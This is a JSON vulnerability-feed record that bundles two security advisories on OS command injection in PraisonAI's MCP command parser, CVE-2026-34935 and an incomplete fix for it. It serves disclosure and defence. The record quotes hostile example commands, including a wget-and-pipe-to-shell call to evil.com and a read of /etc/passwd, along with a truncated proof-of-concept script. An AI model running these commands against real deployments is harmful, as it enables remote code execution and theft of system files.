{"vuln_id":"CVE-2026-34935","aliases":["GHSA-9gm9-c8mq-vq7m"],"description":"PraisonAI: OS Command Injection in MCPHandler.parse_mcp_command()","published_at":"2026-04-01T23:20:00Z","modified_at":"2026-11-16T15:58:57Z","first_seen_at":"2026-11-21T19:15:20.271126Z","severity":"critical","severity_source":"ghsa","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":["CWE-78"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.00857,"epss_percentile":0.59345,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-34935"},"matched_alias":null,"items":[{"id":2521,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-9qhq-v63v-fv3j / CVE-2026-41497: PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection","summary":"PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection\n\n### Summary\n\nThe fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to `parse_mcp_command()`, allowing arbitrary executables like `bash`, `python`, or `/bin/sh` with inline code execution flags to pass through to subprocess execution.\n\n### Affected Package\n\n- **Ecosystem:** PyPI\n- **Package:** MervinPraison/PraisonAI\n- **Affected versions:** < 47bff65413be\n- **Patched versions:** >= 47bff65413be\n\n### Details\n\nThe vulnerability exists in `src/praisonai/praisonai/cli/features/mcp.py` in the `MCPHandler.parse_mcp_command()` method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.\n\nThe fix commit `47bff654` was intended to address command injection, but the patched `parse_mcp_command()` still lacks three critical controls: there is no `ALLOWED_COMMANDS` allowlist of permitted executables (e.g., `npx`, `uvx`, `node`, `python`), there is no `os.path.basename()` validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.\n\nMalicious MCP server commands such as `python -c 'import os; os.system(\"id\")'`, `bash -c 'cat /etc/passwd'`, and `/bin/sh -c 'wget http://evil.com/shell.sh | sh'` are all accepted by `parse_mcp_command()` and passed directly to subprocess execution without filtering.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-34935 - PraisonAI command injection via parse_mcp_command()\n\nTests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).\nThe pre-patch parse_mcp_command() performs NO validation on the executable or\narguments, allowing arbitrary command execution via MCP server commands.\n\nRepo: https://github.com/MervinPraison/PraisonAI\nPatch commit: 47bff65413beaa3c21bf633c1fae4e684348368c\n\"\"\"\n\nimport sys\nimport os\nimport importlib.util\n\n# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit\nMCP_PATH = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py\"\n\ndef load_mcp_handler():\n\"\"\"Load the real MCPHandler class from the vulnerable source.\"\"\"\nbase_path = \"/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py\"\n\nspec_base = importlib.util.spec_from_file_location(\"features_base\", base_path)\nmod_base = importlib.util.module_from_spec(spec_base)\nsys.modules[\"features_base\"] = mod_base\n\nwith open(MCP_PATH) as f:\nsource = f.read()\n\nsource = source.replace(\"from .base import FlagHandler\", \"\"\"\nclass FlagHandler:\ndef print_status(self, msg, level=\"info\"):\nprint(f\"[{level}] {msg}\")\n\"\"\")\n\nns = {\"__name__\": \"mcp_module\", \"__file__\": MCP_PATH}\nexec(compile(source, MCP_PATH, \"exec\"), ns)\nreturn ns[\"MCPHandler\"]\n\ndef main():\nMCPHandler = load_mcp_handler()\nhandler = MCPHandler()\n\nprint(f\"Source file: {MCP_PATH}\")\nprint(f\"Loaded MCPHa\n\nAffected packages: pip:praisonai\nPatched: praisonai 4.5.149","url":"https://github.com/advisories/GHSA-9qhq-v63v-fv3j","published_at":"2026-04-17T22:23:50Z","updated_at":"2026-11-16T15:59:52Z","fetched_at":"2026-11-21T19:15:18.416903Z","severity":"critical","cvss_score":9.8,"epss":0.00857,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"praisonai","vuln_id":"CVE-2026-41497","vuln_ids":["CVE-2026-34935","CVE-2026-41497","GHSA-9GM9-C8MQ-VQ7M","GHSA-9QHQ-V63V-FV3J"],"tags":["ghsa","pip","CWE-77","CWE-78"],"cluster_id":2486,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2521","html":"https://vulnwatch.ve1ve2.com/item/2521"}},{"id":2524,"source":{"id":"ghsa","name":"GitHub Security Advisories"},"title":"GHSA-9gm9-c8mq-vq7m / CVE-2026-34935: PraisonAI: OS Command Injection in MCPHandler.parse_mcp_command()","summary":"PraisonAI: OS Command Injection in MCPHandler.parse_mcp_command()\n\n### Summary\n\nThe `--mcp` CLI argument is passed directly to `shlex.split()` and forwarded through the call chain to `anyio.open_process()` with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user.\n\n### Details\n\n`cli/features/mcp.py:61` (source) -> `praisonaiagents/mcp/mcp.py:345` (hop) -> `mcp/client/stdio/__init__.py:253` (sink)\n```python\n# source\nparts = shlex.split(command)\n\n# hop\ncmd, args, env = self.parse_mcp_command(command, env_vars)\nself.server_params = StdioServerParameters(command=cmd, args=arguments)\n\n# sink\nprocess = await anyio.open_process([command, *args])\n\n```\n\nFixed in commit `47bff65413beaa3c21bf633c1fae4e684348368c` (v4.5.69) by introducing a command allowlist:\n```python\nALLOWED_COMMANDS = {\"npx\", \"uvx\", \"node\", \"python\"}\nif cmd not in ALLOWED_COMMANDS:\n    raise ValueError(f\"Disallowed command: {cmd}\")\n```\n\n### PoC\n```python\n# tested on: praisonai==4.5.48\n# install: pip install praisonai==4.5.48\n# run: praisonai --mcp \"bash -c 'id > /tmp/pwned'\"\n# verify: cat /tmp/pwned\n# expected output: uid=1000(...) gid=1000(...) groups=1000(...)\n```\n\n### Impact\n\nAny deployment where the `--mcp` argument is influenced by untrusted input is exposed to full OS command execution as the process user. No authentication is required.\n\nAffected packages: pip:praisonai\nPatched: praisonai 4.5.69","url":"https://github.com/advisories/GHSA-9gm9-c8mq-vq7m","published_at":"2026-04-01T23:20:00Z","updated_at":"2026-11-16T15:58:57Z","fetched_at":"2026-11-21T19:15:18.416905Z","severity":"critical","cvss_score":9.8,"epss":0.00857,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"praisonai","vuln_id":"CVE-2026-34935","vuln_ids":["CVE-2026-34935","GHSA-9GM9-C8MQ-VQ7M"],"tags":["ghsa","pip","CWE-78"],"cluster_id":2493,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/2524","html":"https://vulnwatch.ve1ve2.com/item/2524"}}]}